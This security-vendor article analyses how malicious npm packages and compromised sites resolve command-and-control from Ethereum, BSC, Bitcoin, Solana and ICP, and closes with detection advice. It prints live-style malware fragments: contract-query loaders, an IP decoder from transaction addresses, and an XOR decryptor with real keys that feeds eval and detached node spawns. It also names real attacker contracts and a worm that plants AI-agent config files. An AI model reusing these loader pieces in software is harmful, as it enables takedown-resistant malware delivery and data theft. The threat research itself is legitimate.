Aephix accepted into the Databricks Startup Program
← Academy
Attack Surface Aug 31, 2026 · 25 min

Blockchain C2 in supply chain packages: smart contracts and transactions that survive takedown

Malicious npm packages have used Ethereum smart contract queries, zero-value wallet transaction IP encoding, Bitcoin OP_RETURN fields, Solana memo instructions, and ICP canister dead-drops to resolve C2 addresses from public blockchains since late 2024. Over 1,000 packages use these channels. No hosting provider or registrar can issue a takedown against a public ledger.

The first EtherHiding smart contract on Binance Smart Chain was deployed on Sep 9, 2023 and publicly documented the following month. It stored a Base64-encoded JavaScript payload in a public state variable and served it to compromised WordPress sites through eth_call, a read-only JSON-RPC method that costs nothing, creates no transaction, and leaves no on-chain trace. Over 500 compromised sites served the initial campaign. By mid-2025, roughly 14,000 pages carried the injected script under the broader ClearFake operation.

npm packages published from late 2024 onward embedded the same blockchain queries into postinstall hooks and runtime loaders. At least nine distinct campaigns have used Ethereum, Bitcoin, Solana, or Internet Computer Protocol calls to resolve C2 server addresses from public blockchains. Between late 2024 and August 2026, the total number of malicious npm packages using blockchain-based C2 exceeds 1,000 across all documented campaigns. The fundamental property is the same in every case: a domain or IP address stored on a public ledger cannot be seized, suspended, or modified by any single entity.

How eth_call works

eth_call is a JSON-RPC method defined in the Ethereum specification. It executes a smart contract function call locally on the queried node without submitting a transaction to the network. The request takes two parameters: a transaction object containing the target contract address and the ABI-encoded function call in its data field, and a block identifier:

{
  "jsonrpc": "2.0",
  "method": "eth_call",
  "params": [{
    "to": "0x7f36D9292e7c70A204faCC2d255475A861487c60",
    "data": "0x<4-byte function selector>"
  }, "latest"],
  "id": 1
}

The node creates a temporary EVM context at the specified block, executes the message call, and returns the hex-encoded result. No transaction is created and no nonce consumed. The call requires no signature and charges no gas. The execution happens entirely within the queried node’s local EVM state and is never broadcast to other nodes. From the blockchain’s perspective, the query never happened.

The response is the ABI-encoded return value of the called function:

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": "0x<ABI-encoded return data>"
}

For a function that returns a bytes or string type, the result contains an offset (32 bytes pointing to the data location), a length (32 bytes), and the data itself (right-padded to a 32-byte boundary). The caller strips the ABI framing and decodes the payload, typically from hex to a raw byte array and then from Base64 to executable JavaScript or a C2 URL.

Malicious package or compromised page eth_call Public RPC node Local EVM execution result EVM state Contract storage No signature needed No mempool, no gas No state change No event log, no on-chain trace Aephix
An eth_call executes locally on the queried node without creating a transaction. The call requires no signature, consumes no gas, produces no event log, and is never broadcast to other nodes.

ABI encoding and function selectors

The data field in an eth_call request contains the ABI-encoded function call. The first four bytes are the function selector: the first four bytes of the Keccak-256 hash of the canonical function signature. The signature includes only the function name and parameter types, with no spaces, no parameter names, and no return type.

For a function getString(address), the selector is computed as keccak256("getString(address)") and the first four bytes are taken. Arguments follow the selector in 32-byte (256-bit) padded slots. An address parameter is left-padded with 12 bytes of zeros to fill the 32-byte slot. A uint256 occupies one full slot. Dynamic types like bytes and string use an offset-length-data encoding.

The return value from eth_call uses the same encoding. For a contract that returns a string, the hex result decodes to: a 32-byte offset pointing to the data location, a 32-byte length, and the UTF-8 bytes of the string right-padded to a 32-byte boundary. The malware parses this framing to extract the C2 URL or payload.

EtherHiding: smart contracts as payload servers

The EtherHiding contract (0x7f36D9292e7c70A204faCC2d255475A861487c60 on BSC) stored a Base64-encoded JavaScript payload in a public state variable and exposed a view function that returned it as a byte array. Compromised WordPress sites loaded the ethers.js library and called the contract to retrieve the payload. The decoded JavaScript was injected into the page as a <script> element and executed immediately.

Updating the payload required a single BSC transaction. Gas costs on BSC ranged from $0.02 to $0.60 per update, depending on payload size and network conditions. Reading the payload via eth_call was free. The adversary could swap the delivered malware without touching any of the compromised sites.

ClickFix delivery

The payloads delivered credential stealers through social engineering overlays. The ClearFake variant of EtherHiding paired with ClickFix: a fake CAPTCHA overlay, verification prompt, or browser-update dialog that copies a PowerShell command to the visitor’s clipboard and instructs them to paste it into the Windows Run dialog. Because the command executes through legitimate Windows utilities, static antivirus engines and email filters do not intercept it. ClickFix detections increased 517% in the first half of 2025. State-sponsored groups from at least five countries adopted the technique within a 90-day window between October 2024 and January 2025.

The ClearFake three-contract proxy

ClearFake extended EtherHiding into a three-contract architecture in November 2024. The three contracts separate routing, logic, and storage into independently upgradeable components:

Contract 1 (Router): 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53. Stores the ABI and address of the current Logic contract. The injected JavaScript on the compromised page queries the Router via eth_call to retrieve these values.

Contract 2 (Logic): 0x8FBA1667BEF5EdA433928b220886A830488549BD. Contains functions with Japanese-themed names: shibuyaCrossing (OS fingerprinting), akihabaraLights (browser detection), ginzaLuxury (download, decrypt, and display the ClickFix overlay), asakusaTemple (logging), and tokyoSkytree (cookie-based deduplication). This contract reads the actual payload and configuration from the Storage contract.

Contract 3 (Storage): 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA. Holds the URL hosting the encrypted payload, the AES decryption key, and the URL hosting the second-stage binary.

The architecture uses application-layer call indirection, not the EVM delegatecall opcode. The browser JavaScript queries Contract 1 via eth_call, receives the address of Contract 2, queries Contract 2, and Contract 2 reads from Contract 3. The pattern resembles the Ethereum upgradeable proxy pattern but operates at the JavaScript level rather than the EVM level. Simplified pseudocode:

const router = new Contract(ROUTER_ABI, ROUTER_ADDR);
const logicABI = await router.methods.orchidABI().call();
const logicAddr = await router.methods.orchidAddress().call();
const logic = new Contract(JSON.parse(logicABI), logicAddr);
const payload = await logic.methods.ginzaLuxury().call();

Upgrading the payload requires a single transaction that updates the Storage contract or swaps the Logic pointer in the Router. The injected JavaScript on the 14,000 compromised pages does not change.

AES-GCM encryption added in December 2024 encrypted the payload before writing it on-chain. The decryption key shipped inside the injected JavaScript on each compromised page and was also stored in the Storage contract. Reading the contract state directly revealed only ciphertext. The combination of immutable blockchain storage and client-side decryption made both network inspection and on-chain forensics harder.

Compromised page ethers.js + eth_call Router 0x9179...Ed53 Logic 0x8FBA...49BD Storage 0x53fd...E4AA Encrypted payload AES-GCM + URL Swap pointer to upgrade Japanese-themed functions Aephix
The compromised page queries the Router, which returns the Logic contract address. Logic reads the encrypted payload and AES key from Storage. The adversary updates the payload by modifying Storage alone.

By May 2026, the operation had shifted some contracts to the BSC Testnet, where transactions are free. Four contracts shared a single deployer wallet: one for anti-analysis dispatch, one for the Windows ClickFix overlay, one for macOS payloads, and one for tracking compromised hosts on-chain. Zero gas cost removed the last operational expense from the C2 channel.

Smart contract C2 in npm packages

The MisakaNetwork campaign (October 2024)

Roughly 280 typosquatting npm packages targeting Puppeteer, Ethers.js, and cryptocurrency libraries embedded eth_call queries to Ethereum contract 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b. The contract exposed a minimal interface:

function getString(address account) public view returns (string)

When called with the associated wallet address (0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84), the function returned a C2 URL: hxxp://45[.]125[.]67[.]172:1337. The postinstall lifecycle script called this function via eth_call, downloaded a platform-specific binary (Windows, macOS, or Linux) from the returned URL, and executed it as a detached child process. Persistence was OS-specific: Windows startup folder shortcuts, macOS .plist files, and Linux binaries installed to /opt. Approximately 26,000 downloads were recorded before npm removed about half of the packages.

The MisakaNetwork contract interface is the simplest documented form of smart contract C2: a single getter function that returns a string. The adversary updates the C2 address by calling a setter on the contract (a write transaction costing $0.30 to $0.60 on Ethereum mainnet). The getter is free to read.

colortoolsv2 and mimelib2 (July 2025)

These two packages embedded eth_call queries to Ethereum contract 0x1f117a1b07c108eae05a5bccbe86922d66227e2b. The obfuscated code in index.js queried the contract for a C2 URL and downloaded the next-stage payload from it. The code ran at import time rather than through a postinstall hook, so ignore-scripts=true in .npmrc did not block execution. colortoolsv2 was published on Jul 7, 2025. When npm removed it, mimelib2 appeared as a replacement using the same contract.

The 54-package campaign (January 2026)

On Jan 8 and 9, 2026, 54 typosquatting packages appeared on npm, each querying Ethereum contract 0x527269621503b08191f2744f666bdd997d14ee2b for a C2 URL. The packages targeted popular library names including Supabase, Viem, React Query, OpenZeppelin, and Anthropic SDK namespaces. The contract stored hxxps://staticflow-metrics[.]com as the C2 endpoint. The packages included system fingerprinting (hashing hardware details into a machine identifier) and COM hijacking for Windows persistence.

Wallet transactions as address encoders

The agentgui package (v1.0.1127, published by the npm account lanmower) used a different mechanism, documented in our analysis. No smart contract was involved. Instead, the loader extracted C2 IP addresses from the to field of a zero-value Ethereum transaction.

Obfuscation

Line 109 of database.js started with the legitimate export statement export default { queries };. After that statement, roughly 300 characters of whitespace padding filled the remainder of the line before the obfuscated payload began. In an editor that wraps or truncates long lines, the file appeared to end at the export.

The payload’s first instructions set a campaign identifier and stashed Node.js globals for later use by eval()’d code:

global.i = "A9-2057";
global.r = require;
typeof module === "object" && (global.m = module);

Every module import and string comparison used Unicode-escaped characters. The raw source reads:

require("http")   // http
require("https")  // https
require("zlib")   // zlib
require("url")    // url
require("child_process")
                                      // child_process

A grep for eval, spawn, http, or child_process in the source returns nothing.

Blockchain C2 resolution

The loader queried four public Ethereum JSON-RPC endpoints (1rpc[.]io, eth[.]drpc[.]org, ethereum-rpc[.]publicnode[.]com, eth-mainnet[.]public[.]blastapi[.]io) plus a BlockScout API fallback. It raced requests across these endpoints using eth_getBlockByNumber and eth_getTransactionCount to binary-search for the latest transaction from wallet 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a.

The to field of the matching transaction encoded two IPv4 addresses. Ethereum addresses are 20 bytes (40 hex characters). The loader used the first 8 bytes:

const n2 = Buffer.from(e.tx.to.replace(/^0x/i, ""), "hex");
const ip = b => b[0] + "." + b[1] + "." + b[2] + "." + b[3];
const [o, r] = [ip(n2.subarray(0, 4)), ip(n2.subarray(4, 8))];

Bytes 0 through 3 become IP1, bytes 4 through 7 become IP2. Each byte maps to one octet: a to address beginning with 0x0a250164 resolves to 10[.]37[.]1[.]100. The remaining 12 bytes of the address are unused for C2 resolution and have carried ASCII strings like helloipbot!! in observed transactions.

Ethereum address: 20 bytes (40 hex characters) to field of zero-value transaction Bytes 0-3: IP1 4 octets Bytes 4-7: IP2 4 octets Bytes 8-19: unused ASCII strings or zero padding 0x0a250164 10[.]37[.]1[.]100 0xac100a01 172[.]16[.]10[.]1 Aephix
The first 8 bytes of the Ethereum destination address encode two IPv4 addresses. Each byte becomes one octet. The adversary rotates C2 infrastructure by sending a new zero-value transaction to a different address.

XOR decryption and dual execution

Payloads downloaded from the resolved IPs were XOR-encrypted with a per-path key. The decryption function iterated over the response bytes and XORed each byte with the key character at position % key.length:

const x = b => {
  const e = k.length;
  for (let t = 0; t < b.length; t++)
    b[t] ^= k.charCodeAt(t % e);
  return b.toString("utf8");
};

Two C2 paths served different payloads with different XOR keys (q4FZkxX{!h,Sr3=@ for /0x/cls, y-p_>d$0B&@^1aQk for /0x/ls). The execution function prepended global assignments and ran the decrypted code through one or two paths:

async function rl(t, n, e) {
  const o = await gc(n, t);  // download + XOR decrypt
  const r = "global['r']=require;global['m']=module;"
    + "var _global=global;";
  e || eval(r + o);  // in-process execution
  spawn("node", ["-e", r + o], {
    detached: true,
    stdio: "ignore",
    windowsHide: true
  }).unref();  // detached child process
}

The /0x/cls path ran the payload both in-process via eval() and as a detached child. The /0x/ls path spawned only the detached child. The detached: true flag and .unref() call detached the child from the parent process. The child survived parent exit, did not appear in the parent’s stdio, and on Windows the windowsHide flag suppressed the console window.

A zero-value Ethereum transaction costs roughly $0.30 on mainnet. The adversary rotated C2 infrastructure by sending a new transaction to a different destination address, encoding the replacement IPs in the same byte positions. At least 13 additional npm packages from the same operation used the same wallet for C2 resolution.

Bitcoin OP_RETURN

Bitcoin’s OP_RETURN opcode (hex 0x6a, decimal 106) marks a transaction output as provably unspendable and allows arbitrary data in the output script. Nodes do not add OP_RETURN outputs to the UTXO set, but the data persists in the blockchain indefinitely.

ScriptPubKey structure

The OP_RETURN output’s scriptPubKey follows a fixed format:

6a <push opcode> <data bytes>

For data of 1 to 75 bytes, the push opcode is a single byte equal to the data length. For 76 to 255 bytes, the opcode is 4c (OP_PUSHDATA1) followed by one length byte. The output value is always zero satoshis. A concrete example embedding 11 bytes of ASCII data:

6a 0b 48454c4c4f20574f524c44  // OP_RETURN, push 11 bytes, "HELLO WORLD"

The data payload limit was 80 bytes from July 2015 (Bitcoin Core v0.11) through October 2025. The total scriptPubKey limit was 83 bytes (1 byte for OP_RETURN + up to 2 bytes for push opcodes + 80 bytes of data). Bitcoin Core v30.0 (October 2025) removed the limit entirely, bounded only by maximum standard transaction size.

Glupteba: the first OP_RETURN-based C2

Glupteba was the first documented botnet to use Bitcoin OP_RETURN fields for C2 domain resolution. The malware’s discoverDomain function enumerates Electrum Bitcoin wallet servers, queries the blockchain script hash history for a hardcoded Bitcoin address, iterates over transactions, and extracts the OP_RETURN data for decryption.

Early campaigns (starting June 2019) used AES-GCM encryption. The OP_RETURN data was structured as: the first 12 bytes for the GCM nonce, the middle bytes for the AES-GCM ciphertext, and the final 16 bytes for the GCM authentication tag. The AES key was hardcoded in the binary. The decrypted plaintext was a C2 domain name.

Later campaigns weakened the encryption to a simple XOR cipher with the hardcoded key cheesesauce. The OP_RETURN hex for a XOR-encrypted domain read as:

000c0b0006171c11064d150a0b16

XOR-decrypting each byte with the corresponding byte of cheesesauce (repeating) produced a domain name.

At least 15 Bitcoin addresses across four campaigns carried Glupteba C2 data between June 2019 and June 2022. The most active address served 1,197 malware samples across 11 transactions. In December 2021, a civil lawsuit and court order disrupted the botnet’s traditional infrastructure. The Bitcoin-based backup channel restored operations within approximately six months, in June 2022, with a larger campaign that added more wallet addresses and a tenfold increase in Tor hidden services for C2.

Solana Memo program

Solana’s SPL Memo program (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr) records arbitrary UTF-8 text on-chain as an instruction within a transaction. The instruction data is the raw UTF-8 bytes of the memo string with no additional framing. A single-signature memo transaction costs approximately 5,000 lamports (under $0.001 at typical SOL prices).

The GlassWorm campaign (March through May 2026, over 433 compromised components across npm, VS Code extensions on OpenVSX, GitHub repositories, and PyPI) used Solana memo fields as its primary C2 channel. The malware called getSignaturesForAddress against a hardcoded wallet, cycling through multiple public RPC endpoints until one responded:

{
  "jsonrpc": "2.0",
  "method": "getSignaturesForAddress",
  "params": [
    "<base-58 wallet address>",
    { "limit": 10 }
  ],
  "id": 1
}

The response includes a memo field for each transaction. When a transaction with a non-null memo was found, the malware Base64-decoded the memo content (a JSON payload), extracted a URL, and fetched the stage-2 payload from it. The polling interval was reported as 5 to 10 seconds across different variants. The adversary rotated C2 URLs by posting new memo transactions from the same wallet.

GlassWorm maintained four independent C2 channels: Solana blockchain, BitTorrent DHT, Google Calendar event titles, and direct VPS connections. A coordinated takedown on May 26, 2026 disrupted all four channels simultaneously by sinkholing infected machines. The Solana channel could not be taken down in the traditional sense (blockchain data is immutable), so the disruption relied on sinkholing at the resolved endpoint. The adversary posted fresh memo transactions within hours.

ICP canisters as dead-drop resolvers

Internet Computer Protocol canisters are WebAssembly modules with persistent state, executed and replicated across subnet nodes. Each canister bundles compiled Wasm code with orthogonal persistence, meaning state survives across calls without explicit serialization. Canisters support two call types: query calls (read-only, fast, no consensus required, free) and update calls (state-modifying, consensus-required, cycle cost charged). Canisters can serve HTTP responses directly through an HTTP query interface, making them accessible from any HTTP client without specialized blockchain libraries.

The CanisterWorm campaign (March 2026, 135 or more malicious npm packages across 64 unique package names) used ICP canister tdtqy-oyaaa-aaaae-af2dq-cai as a dead-drop C2 resolver. The canister was accessible at tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io and exposed three methods: get_latest_link (returns the current C2 URL), http_request (serves the URL over HTTP), and update_link (operator-only setter for rotating the C2 address).

The attack used a three-stage architecture. The postinstall script (Node.js) queried the canister for the C2 URL. A persistent Python backdoor downloaded from that URL polled the canister every approximately 50 minutes for updated instructions, using a spoofed browser User-Agent. The self-propagating upgrade deployed on Mar 21, 2026 could spread to other packages by compromising maintainer credentials. A five-minute sleep before the first beacon was designed to evade sandbox-based analysis that terminates processes after a short timeout.

Query calls to ICP canisters are free (zero cycles). Update calls cost approximately 1.2 million cycles base fee, roughly $0.0000016 at current cycle-to-XDR conversion rates. The adversary can update the C2 URL for effectively nothing.

Multi-chain architectures

ChainVeil (May through July 2026)

The ChainVeil campaign used a four-tier C2 architecture spanning three blockchains across 16 npm packages (9 from the initial ChainVeil wave, 7 additional packages targeting the Vite ecosystem under the name ViteVenom):

Tier 1 (Blockchain loader): The malicious npm package queries public Tron and Aptos blockchain nodes to locate payload pointers.

Tier 2 (Pointer resolution): The loader reads a Tron transaction sent to the burn address. The transaction data field contains an encrypted BSC transaction hash. Aptos serves as a synchronized fallback, updated within seconds of each Tron transaction.

Tier 3 (Payload delivery): The loader queries BSC using the decrypted transaction hash and reads the actual encrypted payload from the input (calldata) field of the referenced BSC transaction.

Tier 4 (RAT execution): The decrypted payload is a 77KB remote access trojan with reverse shell, credential harvesting, file exfiltration, and persistent backdoor capabilities. XOR decryption keys are shared across the chain.

Multiple blockchains provide redundancy. If one chain’s RPC endpoints are blocked, the malware falls back to the next. The adversary rotates payloads by posting new Tron transactions pointing to fresh BSC transaction hashes. Conventional domain or hosting takedowns do not apply to any tier.

CHAINDROP (August 2026)

CHAINDROP, also identified as an evolved descendant of the Shai-Hulud worm family, published 444 npm packages across 2,212 malicious versions in under four hours on Aug 4, 2026. The initial infection started with [email protected], a package downloaded roughly 150 million times per week. The self-propagating worm spread by compromising maintainer credentials and publishing trojanized versions of downstream dependencies.

The C2 resolution used an Ethereum smart contract at 0xE1f2395ee43e45A1556EC6438a88c31B83493103, a StringListStore with three functions: return all stored domains, return the contract owner, and an owner-only setter for updating the domain list. The malware rotated through approximately 60 public Ethereum RPC endpoints until one responded, making it resilient to any single RPC provider blocking the request.

CHAINDROP also injected .claude and .vscode configuration files into infected projects, targeting both human developers and AI coding agents that read project configuration. The infected packages are collectively downloaded approximately two billion times per month.

Commercial blockchain C2

Aeternum, first advertised on underground forums in December 2025, is a C++ loader sold as a commercial botnet-as-a-service. Panel access costs $200. The complete C++ source code with updates costs $4,000.

Aeternum stores encrypted commands on the Polygon blockchain. The loader queries public Polygon RPC endpoints using function selector 0xb68d1809 (a getDomain method) to retrieve the current C2 configuration. The adversary updates the configuration through function selector 0xb249cd2d (updateDomain). At least 22 contract addresses have been identified. Operational cost is approximately $1 in MATIC (Polygon’s native token) per 100 to 150 command transactions.

The panel provides a web interface for selecting smart contracts, choosing command types, specifying payload URLs, and pushing updates. The loader includes virtualization detection and establishes persistence using PBKDF2-HMAC key derivation and AES-GCM encryption. Over 29,000 detection events were recorded by June 2026. Aeternum represents the commoditization of blockchain C2: the same technique that required custom development in 2023 is now available as a point-and-click product for $200.

Operational economics

The cost to maintain a blockchain C2 channel varies by three orders of magnitude across chains, which explains the migration pattern from Ethereum mainnet toward cheaper alternatives:

ChainRead costWrite cost (one update)Channel
Ethereum mainnetFree (eth_call)$0.30 to $0.60Smart contract or wallet tx
BSC mainnetFree (eth_call)$0.02 to $0.05Smart contract
BSC TestnetFreeFreeSmart contract
BitcoinFree (explorer API)$0.30 to $0.50OP_RETURN (80 bytes)
PolygonFree (eth_call)~$0.001Smart contract
SolanaFree (RPC query)~$0.001Memo program
ICPFree (query call)~$0.000002Canister update

Reading is free on every chain. The cost difference is entirely in writing. A smart contract on BSC Testnet costs nothing to deploy or update. An ICP canister update costs $0.000002. The trend across documented campaigns is toward cheaper write costs, lower latency, and more resilient multi-chain architectures.

Detection and defense

MITRE ATT&CK classifies blockchain-based C2 under T1102.001, Dead Drop Resolver. Additional applicable techniques include T1573 (Encrypted Channel) for the AES-GCM and XOR encryption of on-chain data, and T1071 (Application Layer Protocol) for the JSON-RPC calls to blockchain nodes over HTTP/HTTPS.

JSON-RPC method filtering

JSON-RPC calls to public blockchain endpoints carry identifiable method names in the request body: eth_call, eth_getTransactionByHash, eth_getBlockByNumber, eth_getTransactionCount, and Solana’s getSignaturesForAddress and getTransaction. These methods appear in egress logs as POST requests with a JSON body containing a "method" field. Build and install processes have no legitimate reason to make these calls during package installation.

Prebuilt detection rules exist for security information and event management (SIEM) platforms. One EQL-based rule monitors connections from scripting interpreters (bash, sh, node, python) to blockchain API endpoints matching patterns like eth-mainnet* and ethereum*, followed by suspicious file modifications. The rule maps to both T1102.001 and T1102.002.

Process tree analysis

The expected attack sequence is: npm spawns node to execute a postinstall script (or imports a module that triggers the loader). The script opens an HTTPS connection to a public RPC endpoint. Shortly after, the same process or a child opens a second connection to the IP address or URL returned by the RPC call. The two-hop sequence, public RPC endpoint followed by a previously unseen endpoint, is distinctive and does not occur in legitimate package installation.

For wallet-transaction-based C2, the pattern adds a step. The loader queries multiple RPC endpoints (racing them in parallel) with block and transaction-count methods before resolving the final C2 address. The volume of RPC calls during a simple npm install is itself an anomaly.

Wallet and contract monitoring

Blockchain transparency cuts both ways. Every contract address and wallet address referenced in this article is a permanent, public indicator. Monitoring a known wallet for new outbound transactions provides early warning of C2 infrastructure rotation. Tracking a known contract for state updates reveals when the adversary pushes a new payload URL or domain.

The C2 server at the resolved address remains the killable component. Taking it down forces the adversary to spend gas on a replacement transaction and wait for the malware to poll for the updated address. For GlassWorm, fresh memo transactions appeared within hours of the coordinated takedown. For Glupteba, the Bitcoin-based backup channel restored operations within six months of a court-ordered disruption.

Sandbox install environments

Sandboxed install environments that deny outbound JSON-RPC traffic force the blockchain resolution to fail. The package still installs, but the C2 channel never opens. CI pipelines with locked-down egress already block this class of C2 by default. Detection keyed on the RPC method rather than a specific contract address catches campaigns that have not yet been reported.

Setting ignore-scripts=true in .npmrc blocks postinstall, preinstall, and install lifecycle scripts. This prevents the primary attack vector for campaigns like MisakaNetwork, the 54-package campaign, and CanisterWorm. It does not prevent C2 code that runs at import time rather than during installation, as in colortoolsv2 and the agentgui loader. For those cases, the code executes when the application imports the module, not during npm install.

OP_RETURN limit removal

Bitcoin Core v30.0 (October 2025) removed the 80-byte OP_RETURN data limit. OP_RETURN outputs are now bounded only by maximum standard transaction size. This allows significantly larger payloads to be stored in OP_RETURN outputs, potentially enabling storage of full encrypted configurations or shellcode rather than a single domain name. No documented campaign has exploited the expanded capacity yet, but the constraint that previously limited OP_RETURN to short domain strings no longer applies.

Where Aephix fits

Every campaign described above published packages to a public registry. Weekly Sleuth reports campaigns like these week to week, linked to the broader operations behind them across registries and ecosystems. Aephix Vantage provides a free lookup for any package, model, skill, MCP server, extension, or container before it enters a build or an agent’s toolchain.